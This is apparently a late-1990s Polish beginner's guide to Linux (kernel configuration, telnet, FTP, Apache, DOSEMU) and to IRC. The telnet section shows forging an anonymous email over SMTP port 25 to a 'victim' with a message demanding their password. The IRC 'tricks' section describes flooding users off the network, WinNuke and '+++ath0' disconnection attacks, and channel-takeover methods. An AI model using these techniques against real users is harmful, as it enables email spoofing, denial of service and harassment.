Odpowiedz yes jesli masz laptopa zasilanego z baterii.
"Watchdog Timer Support"
Mozesz odpowiedziec no, nie jest to w ogole potrzebna opcja.
"Enhanced Real Time Clock Support"
Jesli odpowiedz yes, bedziesz mial dostep do zegara czasu rzeczywistego.
13. Sound
"Sound card support"
Jesli masz karte dzwiekowa odpowiedz yes wtedy ukaza ci sie nastepne opcje.
Teraz w sumie wiele zalezy od rodzaju twojej karty dzwiekowej. Najlepiej
wyciagnij instrukcje i zobacz jaki masz typ karty jakie IRQ,DMA itp... przyda to
sie w konfigurowaniu.
"/dev/dsp and /dev/audio support"
Odpowiedz koniecznie yes.
"MIDI interface support"
Odpowiedz yes. Wlaczy sie obsluga MIDI.
"FM synthesizer (YM3812/OPL-3) support"
Musisz odpowiedziec yes.
"ProAudioSpectrum 16 support"
Jesli masz karte Pro Audio Spectrum 16 lub Logitech SoundMan 16 odpowiedz yes.
"Sound Blaster (SB, SBPro, SB16, clones)"
Jesli masz karte fimy Creative Labs Sound Blaster lub jakis 100% klon tych kart
odpowiedz yes.
"Generic OPL2/OPL3 FM synthesizer support"
Jesli twoja karta ma uklad RM OPL2/OPL3 odpowiedz yes.
"PSS (ECHO-AD2111) support"
Odpowiedz yes jesli masz karte oparta na ukladach PSS.
"MPU-401 support (NOT for SB16)"
Jesli twoja karta ma obsluge interface'u MPU-401 odpowiedz yes.
"6850 UART Midi support"
Jesli masz UART 6850 (a prawdopodobnie nie masz) odpowiedz yes.
"Microsoft Sound System support"
Odpowiedz twierdzaco jesli jestes posiadaczem kart Windows Sound System lub
Aztech SG 16 Pro.
"Ensoniq SoundScape support"
Odpowiedz yes jesli masz karte Ensoniq SoundScape.
"Support for MAC16 and/or Mozart based cards"
Odpowiedz yes jesli masz karty bazowane na ukladach Mozarta lub MAC16.
14 Kernel hacking
"Kernel profiling support"
Opcja ta pozwala na profilowanie jadra.
Kernel mamy juz skonfigurowany. Zapiszmy zmiany do pliku wlaczajac Save
Configuration to an Alternate File. Mozemy rowniej odtworzyc stara konfiguracje
Load an Alternate Configuration File. Teraz po skonczonej konfiguracji trzeba
wpisac nastepujace komendy.
make dep ; make clean ; make boot
zamiast make boot moze byc tez make zImage. Kompilacja bedzie trwala w
zaleznosci od sprzetu, jesli masz jakis porzadny sprzet to potrwa to ok. 5-10
min. Przy 386-486 to kolo 30-40 min. A wiec mozesz wyjsc na kawke. Na ekranie
pojawi sie wiele komunikatow o kompilacji. Kiedy skonczy wpisz:
make modules ; make modules_install
Teraz Twoje jeszcze cieple jaderko znajduje sie w katalogu
/usr/scr/linux/arch/i386/boot w pliku zImage.
Ostania rzecza jest wpisanie komendy:
make zlilo
Aby przy starcie bylo uruchamiany nowy kernel. Mozesz zrestartowac kompa. Po
ponownym uruchomieniu sprawdz czy nowe jadro zastartowalo wpisujac uname -a.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7    Dodatek
  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7a    Telnet

Telnet jest to usluga dostepna niemal w kazdym systemie operacyjnym. UNIX.
Linux, OS/2, w Windowsie tez jest. Telnet udaje podlaczony bezposrednio do
komputera terminal. Aby obslugiwac telnet przeda znac kilknascie komend. Przez
telnet mozemy grac w MUD'y czyli MultiUserDungeons. Aby polaczyc sie telnetem do
jakiegos komputera wcale nie musimy
korzystac z PPP lecz bezposrednio. A teraz jak to sie je:
Po wpisaniu komendy telnent w Linuxie wklepujemy:
open tu.adres.komputera.pl [tu port]. Na poczatek proponuje pobawic sie w
localhost. Po chwili ukaze sie napis:
login: wiadomo wpisujesz swoj login
password: haselko
Gdy sie zalogujesz dostaniesz informacje o ostatnim zalogowaniu np.
-----------
Last login:
Fri Jun 13 13:13:13
a na dole tu adres z jakiego sie logowalismy
-----------
Skoro umiesz juz sie dostac do innego komputera:-) Musisz poznac kilka komend:

open adres.pl [port] - polaczenie sie z komputerm adres.pl
Ctrl-] lub ^] - najczesciej taka kompinacja konczy sie sesje
close, quit - koniec
status - status programu telnet
send arg - wysyla do komputera znaki specjalne
display [arg] - pokazuje wybrane wartosci
stat - wykaz portow sieciowych
? [komenda] - pomoc

Reszta komend taka jak w innych UNIXach.

Moze jeszcze dodam cos o sendmailach i fakemailach bo to dobra okazja. Wiec
telnetem jak juz wiesz mozna laczyc sie na rozne porty, jesli przejrzysz plik
/etc/services lub /etc/inetd.conf zobaczysz jakie porty sa u ciebie dostepne.
Bardzo fajny port numer 25 umozliwia on wyslanie w sumie anonimowego maila do
jakiegos lamera. Umozliwia takze poprzez swoje bledy uzyskanie roota. Ale o tym
tu nie bede pisal bo to nie jest poradnik hackerski.

A teraz jak to sie robi:
Laczysz sie -
telnet adres.org.pl 25
mail from: napisz sobie cos tutaj:-)
rcpt to: tutaj@adres.ofiary.pl
Data
text typu:
GIVE ME YOUR PASSWORD!
YOU SON OF THE BITCH!
.
Quit

Obecnie najczesciej spotykana wersja sendmaila jest 8.9.1 ale niedawno widzialem
na jednym z "powaznych" serwerow wersje 4.1:-)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7b    Obsluga FTP

Usluga FTP czyli File Transfer Protocol, dzieki niej mozemy sciagac i wysylac
pliki na rozne komputery na calym swiecie poprzez port 21:-) Aby uruchomic FTP
piszemy ftp i zatwierdzamy, aby polaczyc sie z jakims serwisem FTP wklepujemy
teraz:

open adres.komputera.pl

Po chwili zostaniemy poinformowani ze polaczylismy sie serwerem

Connected to adres.komputera.pl
220 adres.komputera FTP adres ready
220 Witaj!!!

Nastepnie zostaniemy spytani o name: jesli nie mamy konta na serwerze mozemy
wpisac w miejscu Name anonymous lub guest i zamiast password podac nasz adres
e-mailowy (lepiej tego nie rob). Za chwile zostaniemy poinformowani czy udalo
sie lub nie jesli na serwer nie ma dostepu przez konto anonimowe "anonymous".
Teraz pora na komendy, wiekszosc komend jest taka sama jak w Linuxie.

pwd - podaje nazwe katalogu zdalnego, wyskoczy ci zapewne / ale nie
napalaj sie to wcale nie jest root directory tylko glowny katalog
FTP.
ls - wydruk zawartosci katalogu z uprawnieniami
cd - zmiana katalogu
cdup - zmiana katalogu na nadrzedny
lcd - podaje nazwe katalogu lokalnego
get - pobiera plik z komputera zdalnego i zapisuje na lokalnym np.
get plik-zdalny [plik-lokalny]
mget - pobiera jeden lub wiecej plikow np.
mget *.jpg
put - umieszcza plik z naszego komputera w komputerze zdalnym np.
put plik-lokalny [plik-zdalny]
mput - analog do mget ale na odwrot
bin - tryb transferu zmienia na binrany !!!
asc - a tu zmiana na tryb transferu na ASCII (only tekst)
mkdir - tworzy katalog
rmdir - kasuje katalog
delete - kasuje plik
mdelete - uwuwa pliki zgodne z maska
rename - zmiana nazwy pliku
status - pokazuje status FTP
system - info o systemie
help [komenda] - info o komendzie
quit, bye, close - koniec sesji FTP

Moze chcialbys zrobic wlasny serwis FTP pod Linuxem? Nic prostszego serwis FTP
jest domyslnie ustawiony pod katalogiem /usr/local/ftp zakladam, ze masz
zainstalowany FTP. W wyzej podanym katalogu znajduja sie nastepujace
podkatalogi:

/bin - tutaj sa narzedzia wykonywalne systemu
/etc - tu jest passwd
/dev - tego lepiej na razie nie ruszaj
/lib - bilioteka
/msgs- tutaj znajduja sie pliki przydatne do skonfigurowania FTP
Plik:
msg.dead - z komunikatem wyskakujacym gdy na FTP jest full ludu
welcome.msg - powitalny tekscik
/pub - W tym katalogu umieszcza sie stuff do sciagania mozesz stworzyc
kilka podkatalogow i poumiesczac tam jakies programiki
/usr - czyli katalog user

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7c    Obsluga serwera WWW - Apache

Z pewnoscia kazdy chcialby miec wlasny serwis WWW na swoim komputerze. Jesli
masz juz zaisntalowanego Apacha.
To po wpisaniu do przegladarki wlasnego adresu np. http://jasio.com.pl/ ukaze ci
sie dokumentacja Apacha w sumie jest tam wszystko ja powiem tylko jak
skonfigurowac Apacha aby kazdy z userow z katologu /home mial wlasny adres
http://jasio.com.pl/user. Serwer Apache jest w Linuxie SuSe domyslnie
instalowany pod w katalogu /usr/local/httpd/ tu znajduja sie podkatalogi:
/cgi-bin/ - CGI
/htdocs/ - wszystkie documenty html
/icons/ - akurat teraz malo istotne tam sa jedynie ikonki
Natomiast w katalogu /etc/httpd/ sa pliki konfiguracyjne:

access.conf
srm.conf
httpd.conf

W katalogu /var/log znajduja sie logi do naszego serwera Apache:-)

Teraz pora na konfiguracje serwera.
Musimy pozmieniac nieco w pliku srm.conf po pierwsze ustalic kilka
wazniejszych opcji:
DocumentRoot nastaw na np. /home
DirectoryIndex zawsze raczej na index.html
AddLanguage mozemy dodac pl
LanguagePrioriry pl en de

Pora na:
Aliasy - jesli mamy uzytkownika jasio i chcemy mu zrobic alias piszemy:
Alias /jasio/ /home/jasio/
Prosciutkie nie? I tak mozemy nieskonczenie wielu userow dodac.
Nie zapomnijmy zmienic:
Script Alias /cgi-bin/ /home/cgi-bin/ - jesli przenislismy do /home
Nastepnie mozemy cos pozmieniac w pliku httpd.conf choc nie trzeba, Apache
domyslnie poustawial wszystko. Lepiej na razie nic tam nie no najwyzej zmien
sobie:
Server Admin - czyli adres admina WWW np.
www@twoj.adres.pl
ServerRoot - czyli korzen servera
Port - zazwyczaj jest 80
Timeout - rozlaczanie po danym czasie
MaxClients - najwiecej klientow w danej chwili domyslnie 150

Wszystko w tych plikach jest opisane po angielsku wiec wszystko mozna
przeczytac.
Teraz gdy juz skonfigurowales pliki. Umiesc wlasna strone
glowna serwera w /home.

Ciekawym dodatkiem do twojego serwera WWW moze byc htdig zamieszczony
w dystrybucji Linuxa SuSe 5.3 do przeszukiwania zasobow.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7d    DOSEMU

DOSEMU jest to emulator systemu DOS (ostatnia wersja to 0.66 prace nad nim wciaz
trwaja). Dzieki niemu mozemy uruchmiac programy systemu DOS pod kontrola Linuxa.
Emulator DOSa korzysta z trybu wirtualnego moze realizowac programy dosowe w ich
rodzimej postaci. DOSEMU symuluje srodowisko dosowe dla aplikacji dosowych,
ktore potrzebuja dostepu do zasobow systemowych. Dostep do zasobow konfiguruje
plik /etc/dosemu.conf.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7d1    Instalacja DOSEMU

Emulator DOSa mozesz zainstalowac albo wchodzac do YaST i z tamtad wybierajac
pakiet. Lub szybciej, w nastepujacy sposob:
rpm -i dosemu*
Gotowe. Odpowiednie pliki niezbedne do uruchomienia DOSEMU sa juz w odpowiednich
katalogach.
Teraz powinienes przeczytac dokumentacje zawarta w katalogu /usr/doc/dosemu*

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.7d2    Konfiguracja DOSEMU

Po zainstalowaniu DOSEMU trzeba go jeszcze troche skonfigurowac. Kluczowym
plikiem jest /etc/dosemu.conf. Do niego trzeba wprowadzic odpowiednie zmiany. Na
poczatku odszukaj lancuch hdimage (wskazana jest tam sciezka do pliku
/var/lib/doemu/hdimage). Jesli na poczatku tego wiersza znajduje sie symbol
komentarza czyli # to usun go. Hdimage oznacza obraz dysku twardego. Tak wiec
plik /var/lib/dosemu/hdimage definiuje stacje C:\.
Mozesz ustawic takze druga partycje dosowa czyli D:\ u mnie jest nia katalog
glowny \. U mnie wiersz definiujacy wyglada nastepujaco:
disk {partiction "/dev/hdc1" readonly"}
Pora skonfigurowac FDD:-) Jesli masz stacje dyskietek 3.5 calowych napisz
nastepujaca linijke:
floppy {device /dev/fd0 treeinch}
Jesli natomiast posiadasz stacje pieciocalowa zamien treeinch na fiveinch
(pieciocalowa).
Teraz potrzebujemy dyskietki startowej systemu MS-DOS, aby zainicjowac obraz
dysku twardego. Jak zapewne wiesz aby utworzyc dysk startowy wklep w DOSie:
C:\format A: /s
Upewnij sie czy na dyskietce znajduja sie pliki fdisk.exe i sys.com. Wroc do
Linuxa wpisz: dos -A system zastartuje z A:\. Musisz teraz przeniesc system na z
A:\ na C:\ wykonaj nastepujace polecenia:
A:\fdisk /mbr
A:\sys c: - system zostanie przeniesiony
Aby wyjsc teraz z DOSEMU wpisz:
C:\exitemu
Aby ponownie uruchomic DOSEMU w trybu textowego wpisz dos jesli chcesz uruchomic
w oknie w systemie X wpisz xdos.
Przydala by sie jeszcze obsluga myszki pod DOSEMU. Mozesz zainstalowac DOSowy
sterownik myszki lub uzyc emumouse znajdujacy sie na C:\.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.8a    Linki w Polsce

pocket-linux.coven.vmh.net - Strona Pocket Linuxa
www.pld.org.pl - Strona Polish Linux Distribution
www.jtz.org.pl -  Jak to zrobic, tam znajdziesz duzo HOWTO.
www.ict.pwr.wroc.pl/listserv/linux - Archiwum listow listy dyskusyjnej
pl.comp.os.Linux
www.linux.com.pl - Strona pisma poswieconego Linuxowi
www.linux.org.pl - PLUG (Polish Linux Users Group)
www.agh.edu.pl/ogonki - Polska Strona Ogonkowa
www.lpp.ekometria.com.pl - Internetowa gazetka Linux++
linux.core.pl - ciekawa strona poswiecona Linuxom
www.netart.com.pl - firma sprzedajaca wysylkowo rozne dystrybucje linuxa

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.8b    Linki na swiecie

www.suse.de - Strona dystrybucji niemieckiej SuSE
www.debian.org - Strona dystrybucji Debian
www.slackware.org - Strona dystrybucji Slackware
www.caldera.com - Strona dystrybucji Caldera
www.redhat.com - Strona dystrybucji Red Hat
www.xfree86.org - Linuxowa wersja X-Window
www.linux.org - Home page Linuxa
www.fsf.org - Free Software Foundation


  ----------------------------------IRC---------------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.1    Historia IRC

IRC praktycznie zrodzil sie w sierpniu 1988 roku. Dokladnej daty nikt pamieta.
Na samym poczatku IRC okazjonalnie mial ponad 10 uzytkownikow, ale szybko
przyjaciele Jarkko Okarinen-a (stworzyciela) uruchomili serwery IRC na
Uniwersytecie Techniki w Tampere i Uniwersytecie Techniki w Helsinkach.
IRC sie rozprzestrzenial w Finlandii. Pojawialo sie coraz wiecej uzytkownikow.
W tym okresie jeszcze polaczenia internetowe nie dzialaly poza Finlandie.
Ale wkrotce sie to zmienilo, polaczenie ze Stanami Zjednoczonymi zaczelo
funkcjonowac. Dzieki pomocy Jarkko Oikarinen-a liczba serwerow zaczela
gwaltownie rosnac. Tak sie zaczela kariera IRC-a poza. Wciaz powstaja nowe
serwery IRC, liczba nowych uzytkownikow, w bardzo szybkim tempie wzrasta,
a wszelkie proby zastapienia IRC-a inna siecia, opierajaca sie na innych
zasadach, koncza sie niepowodzeniem, lub pelnia role drugorzedne.
W dzisiejszych czasach IRC to nie jest juz jedna siec. Istnieje conajmniej
kilka duzych sieci i z kazdej z nich korzysta conajmniej kilka tysiecy
uzytkownikow, oraz kilkanascie mniejszych.
IRC jest obecnie najlatwiejszym i najszybszym sposobem znalezienia odpowiedzi na
interesujace nas zagadnienie, wymienienie doswiadczen, waznych informacji,
poradzenie sie, zawarcie nowych znajomosci czy po prostu porozmawianie o
wszystkim i o niczym.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.2    Co to jest IRC

IRC (Internet Relay Chat) jest siecia polaczonych ze soba serwerow. Serwery te
mozliwiaja  wstep poszczegolnych uzytkownikow na IRC. Aby korzystacz IRC nalezy
miec odpowiedni do tego soft, tzw. klient IRCa. Aby ulatwic dyskusje stnieja tak
zwane kanaly. Wszystko, co napiszemy na kanal jest przekazywane do wszystkich,
ktorzy na danym kanale sie znajduja.  Oczywiscie, istnieje tez mozliwosc rozmowy
bezposredniej pomiedzy dwoma osobami. Nazwy kanalw rozpoczynaja sie od znaczka #
np. #phreakpl

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.3    Co Potrzebuje aby IRCowac ?

Musisz miec przede wszystkim klienta IRC, ktorych jest ostatnio bardzo wiele.
Najpopularniejszym klientem IRC pod Windowza jest mIRC, jest rowniez bardzo
prosty w obsludze. Aby miec nad nim kontrole nie trzeba prawie wogole polecen
IRCa. Oczywiscie istnieja tez inne programy do IRCowania, na inne platformy
systemowe. Np. na linuxa mamy BitchX, ircII,... i wiele innych. Do obslugi ich
jednak trzeba zaznajomic sie z poleceniami IRCa. Jezeli masz konto shellowe na
jakims serwerze, na pewno jest tam irc, wystarczy ze wpiszesz
'irc <Twoj_nick> <server>' a powinien uruchomic sie ircII.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.4    Serwery w Polsce

Aby podlaczyc sie do sieci IRC, musisz to zrobic przez wybrany serwer. Serwer
IRCa z reguly siedzi na porcie 6667, chociaz niektore wieksze serwery
udostepniaja polaczenia na port 6660 W Polsce mamy nastepujace serwery
podlaczone do sieci IRCnet:

warszawa.irc.pl
krakow.irc.pl
poznan.irc.pl
lublin.irc.pl
mops.uci.agh.edu.pl: 4440

Inne serwery:

sonya.irc.pl
tpnet.irc.pl
irc.funet.fi
irc.webbernet.net

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.5    IP

Po podlaczeniu do serwera przyznawany jest Ci niepowtarzalny adres. Podam pare
przykladow adresow. Czlowiek laczacy sie przez numer dostepowy 0,202122
z Warszawy: czlowiek@ppp5.warszawa.tpnet.pl, ogolnie zdefiniowany taki adres:
*!*czlowiek@*.warszawa.tpnet.pl inny przyklad: user@dial-170.supermedia.pl
 Tu znajduja sie typy numerkow:
*!*uzytkownik@host.domena
*!*@host.domena
*!*uzytkownik@*.domena
*!*@*.domena
nick!uzytkownik@host.domena
nick!*uzytkownik@host.domena
nick!*@host.domena
nick!*uzytkownik@*.domena
nick!*@*.domena
*!uzytkownik@host.domena

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.6    Pierwsze kroki w mIRCu

Ostatnia najnowsza wersja mIRCa w chwili pisania tego tekstu jest mIRC v5.5,
wiec bede sie na niej wzorowal. mIRCa mozna sciagnac np. z polskiego mirroru
TUCOWS -> http://tucows.icm.edu.pl. Po zainstalowaniu pojawia sie nam okienko.
Po prawej stronie mamy Full Name, Email, Nickname, Alternative. Musimy
wprowadzic te dane. Nickname to pseudonim (ksywka) pod jaka bedziesz widnial od
momentu polaczenia z serwerem. Alternative to nick zastepczy. Jezeli
wprowadziles juz te dane na samej gorze masz liste serwerow. Kliknik ADD i dodaj
jeden z serwerow wymienioncyh w poprzednim punkcie (jeden lub wiecej). Teraz
praktycznie mozesz sie juz polaczyc z serwerem, ale zostaly Ci jeszcze
ustawienia. W menu OPTIONS najlepiej zaznaczyc: CONNECT ON STARTUP,
RECONNECT ON DISCONNECION i ustawic RETRY.
Kazdy uzytkownik IRCa ma swoj identyfikator (kazdy inny). Jest on skojarzony z
numerem IP. O identyfikatorach w punkcie IV. Jezeli chcesz miec jakas specjalna
nazwe klinkij w menu IDENTD , ENABLE IDENT SERVER i tam wpisz wybraby przez
siebie USER ID.
Menu PERFORM umozliwia wykonanie po uzyskaniu polaczenia czynnosci przez Ciebie
zdefiniowancyh (komend IRC). Potem mamy juz mniej wazne ustawienia, do ktorych z
czasem powinienes sam dojsc. Po polaczeniu pokaze sie okienko z wieloma
kanalami, najlpiej jest zaznaczyc wszystkie kanaly i usunac je, gdyz i nie sa to
polskie kanaly. Teraz mozesz dodac wlasne. Np. #wiaraa; #polska; #warszawa;
#phreakpl; #hackingpl; #hackpl; #radiostacja; #trojka; #metalpl ...... i wiele
wiele innych. Jezeli dodales kanal klinkij JOIN i juz jestes na kanale! Mozesz
rozmawiac. Klikajac x2 na jakims nicku po prawej (tam jest lista wszytskich
obecnych na tym kanale) mozesz pogadac z ta osoba. Klikajac prawym klawiszem na
nicku masz dostepne jeszcze inne funkcje. To tyle o mIRCu bo wydaje mi sie ze
kompletnie zielony IRCownik poradzi sobie juz napewno.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.7    Pojecia

Kanal - miejsce w sieci IRC, gdzie wszyscy sie spotykaja i rozmawiaja..
Wszystkie komunikaty napisane na kanal docieraja do wszytskich, ktorzy sa na
kanale. Nazwa kanalu zaczyna sie od #

Ban - na kanale moga byc tzw. bany, czyli zakazy wstepu dla okreslownych
uzytkownikow, lub calych grup uzytkownikow. Np. ban dla
*!*maciek@*.warszawa.tpnet.pl to BAN dla jakiegos macka ktory laczy sie przez
0202122 z wawy. Drugi przyklad: ban dla *!*@*.pl - BAN dla wszystkich ludzi z
Polski ;).

Flood - Jest to wypuszczanie na kanal duzej ilosci tekstu, znakow, przez jednego
uzytkownika. Powoduje to zasmiecanie kanalu, co jest bardzo zle i nieprzyjemne

Lag - bardzo czesto slyszy sie na IRCu. 'kur.. ale lagi' , 'mam laga' . Lag jest
to opoznienie transmiji z jedngo serwera do innego serwera. Np. Lag 15 sek.
oznacza ze wiadomosc osoby podlaczonej do jednego serwera dotrze do uzytkownika
innego serwera po 15 sekundach.

Bot - Jest to program , skrypt podlaczony do serwera IRC , wypelniajacy
polecenia okreslonych uzytkownikow, lub grup uzytkownikow. Na polskich serwerach
zabronione jest stawianie bot`ow ;*

op (operator) - prawie kazdy kanal ma jednego lub wielu op`ow, tj. ludzi, lub
botow pilujacyh porzadku na kanale, najacych nad nim wladze. Tylko OP moze kogos
wykopac z kanalu , kogos zbanowac, czesto zmienic topic. Od usera kanalu rozni
sie znaczkiem @ przed nickiem

topic - jest to temat przewodni na kanale, lub wogole temat ustawiony na kanale.

kick - wykopywac z kanalu moze tylko OP, wykopanie polega na wydaniu przez OPa
odpowiedniej komendy poprzez co inny, wybrany uzytkownik opuszcza kanal.

Split - Rozlaczenie serwerow IRC. Jezeli pomiedzy dwoma serwerami nastepuja
problemy komunikacyjne, dochodzi do zerwania polaczenia miedzy nimi.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.8    +r ??
Co to oznacza +r ?. Jezeli po polaczeniu z serwerem pojawi sie komunikat 'Your
Connection Is Restricted' mozesz byc pewien ze np. nawet jezeli dostaniesz opa,
nie bedziesz mogl nic zrobic, nie bedziesz mogl rowniez zmienic nicka podczas
polaczenia. Zakres komend bedzie bardzo ograniczony. :(

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.9    Atrybuty kanalu

+i - Kanal jest w trybie Invite Only. Oznacza to, ze tylko osoby zaproszone moga
wejsc na kanal.

+k - Kanal jest zabezpieczony kluczem. Zeby wejsc na taki kanal musisz znac ten
klucz. Jesli go znasz przy wchodzeniu na kanal napisz: /join #kanal -k KLUCZ

+l - Limited. Oznacza, ze na kanal moze wejsc tylko ograniczona liczba ludzi.

+m - Moderated. Mozesz wejsc na ten kanal, lecz do poki operator nie da ci
atrybutu +v (voice) nie bedziesz mogl sie odzywac na tym kanale. Bedziesz mogl
tylko sluchac. Ludzi ktorzy moga mowic mozna rozpoznac po znaczku + na koncu xwy

+n - Dzeki tej komendzie, zadne wiadomosci z zewnatrz nie beda widoczne na
kanale.

+s - Kanal jest sekretny. Nie bedzie widoczny w oknie Channel List.

+t - Tylko operator moze zmienic temat kanalu.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.10    FAQ

P:
Co oznacza ze po polaczeniu z serwerem wyskakuje mi 'Closing Link (No more
connections)' ?
O:
Oznacza to ze serwer jest zbyt obciazony i juz nikt w danym momencie nie moze
sie do niego podlaczyc.

P:
Kto to jest IRCop lub IRCoperator ?
O:
IRCop to ktos kto utrzymuje porzadek na IRCu. Ma wiele wiecej komend niz kazdy
z nas. Moze robic wszystko co chce.

P:
Od czego sa skroty DCC i CTCP
O:
DCC - Direct Client Connection
CTCP - Client to Client Protocol

P:
Co to jest bot?
O:
Bot jest to program ktory imituje uzytkownika. Ma zaprogramowany rozne funkcje
taki jak wyrzucanie  za brzydkie slowa, autoop. Bot  jest zjawiskiem bardzo
wkurzajacym, bo jako tempa maszyna,czesto zle zaprogramowana obrzydza zycie
reszcie uzytkownikow IRC.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.11    Sztuczki...

1.Jak pozbyc sie bota?
Najlepsze jest spowodowanie jakiego kolwiek flooda przez BOTa, np. mozna go
TCP floodowac Pingujac go , tak zeby on jakos reagowal i w ten sposob serwer
zrobi mu kicka i bota nie bedzie.. :)

2.kanal 5,0
powiedz lamerkowi zeby poszedl na kanal #5,0 bo tam jest naprawde odlotowo i
wogole super... Zobaczysz co sie stanie. :)

3.CTCP
jezeli kcesz uprzykrzyc zycie lamerkowi flooduj go pytaniami CTCP ile mozesz,
albo napisz do tego skrypt :) . Umow sie z kolegami.. wczesniej czy pozniej
ofiara nie odpowie na PING serwera i wyleci

4. Winnuke
najprostsza rzecz :). Wystarczy znac IP ofiary i lamerowi zetnie windoza..
(port 139) WinNuke jest na mojej stronie (http://hack.pl/bohun)

5.Glupie zarty
zmien nicka na 'mode' i napisz /me change "-oo <op> <op>" on channel <kanal>
by <tfuj_stary_nick>

6.Zdjecie +r
Napisz /mode <nick> -r+iw , moze nie zadzialac ale zawsze warto sprobowac..

7. +++ath0
Jezeli jakas lama Cie wkurza wyslij jej aki text (ctcp) '+++ath0'. Mozliwe ze
go rozlaczy :) jezeli ma winde

8. Jak przejac kanal IRC ?

-a-. Metoda na Wingate Scanner (nie polecam, bo 5% ze zadziala)
Na poczatki znajdz kanal, ktory kcesz przejac :). Od razu mowie ze kanlu
prakyzcnie nie da sie przejac jezeli wszystkie opy sa botami, lub kanal jest
bardzo czesto odwiedzany, np. #polska, #warszawa.
Powiedzmy ze na kanele, ktory chcesz przejac znalazles sobie OPa ktory ma nicka
'dupek'. Teraz podejrzyj jego IP (/dns dupek) i wez WinGate scanner , zeby
poszukac podobnego. Jezeli nie mozesz znalezc w class c IP, poszukaj w class b.
Jezeli juz doszedles to tego ze masz takie same IP jak 'dupek' , lun podobne :).
Pamietaj ze jezeli 'dupek' ma IP: *!*dupek@*.zigzag.pl , tzn. jezeli bot je tak
pamieta to podobne IP , np. *!*dupek@abcdefgjdjd.sdsds.zigzag.pl' tez bedzie
dzialac. Dlatego znajdz takiego OPa , aby IP bylo w miare latwe do rozpracowania
Teraz zrob /whois dupek i zobacz do jakiego serwera jest podlaczony i zobacz
jaki ma ident/
pisz:
/server (wingate_ip) (port)
/quote (server_lamy) 6667
/quote dupek
teraz musisz tylko rozlaczyc dupka, co rowniez bedzie trudne. Znukuj go lub co
innego :)) i napisz /nick dupek i /join #kanal. Powinienes dostac opa, lecz..
ta metoda jest na tyle skomplikowana ze nie wiem czy Ci sie uda.. :\

-b-. Skrypt
Napisz skrypt do IRCa II , lub dowolny inny , moze byc nawet na mIRCa, tak zeby
jak dostaniesz OPa zdeopowal wszystkich w miare szybko. Uwazaj tylko na boty bo
one moga postawic Ci nawet permbana za takie cos. Najlepiej wejdz na IRCa dwoma
klientami lub sesjami i ustaw skrypt tak aby dal OPa Twojej drugiej sesji a
wszystkim innym go zabral i ta sesja ktora odbierasz OPy szybko zrob /disconnect
zeby OPy Cie nie dopadly. Powinno dzialac. Teraz jak masz juz OPa wypadalo by go
jakos utrzymac, najlepiej postawic bota, lub sesje. Jezeli masz jakies konto
shellowe, wejdz na nie, napisz 'screen' i 'irc <nick> <server>' po czym
/j #kanal_ktory_opanowales. Teraz daj OPa sobie (tej sesji) i masz kanal!
PS: Uwazaj naprawde na BOTy ktore daja bany za mass deopy

-c-. Wejdz na kanal np. #93ikdfkd i juz go masz !! przejales kanal (bo nikogo
innego tam nie ma ;> ). No dopra to bylzart...

-d-. Jezeli na kanale jest np. tylko jeden BOT nie jest problem przejecie
takiego kanalu. Sa dwie metody, jedna debilna dla debili, czyli czekanie na
splita, tak zeby bot wylecial, a druga to tez debilna, czyli floodowanie BOTA
komendami CTCP (Nie CCCP ;)

9. Jak ominac BANA.
Trzeba wiedziec o tym ze sa 2 rodzaje BANow, jeden dziala na nick, drugi na
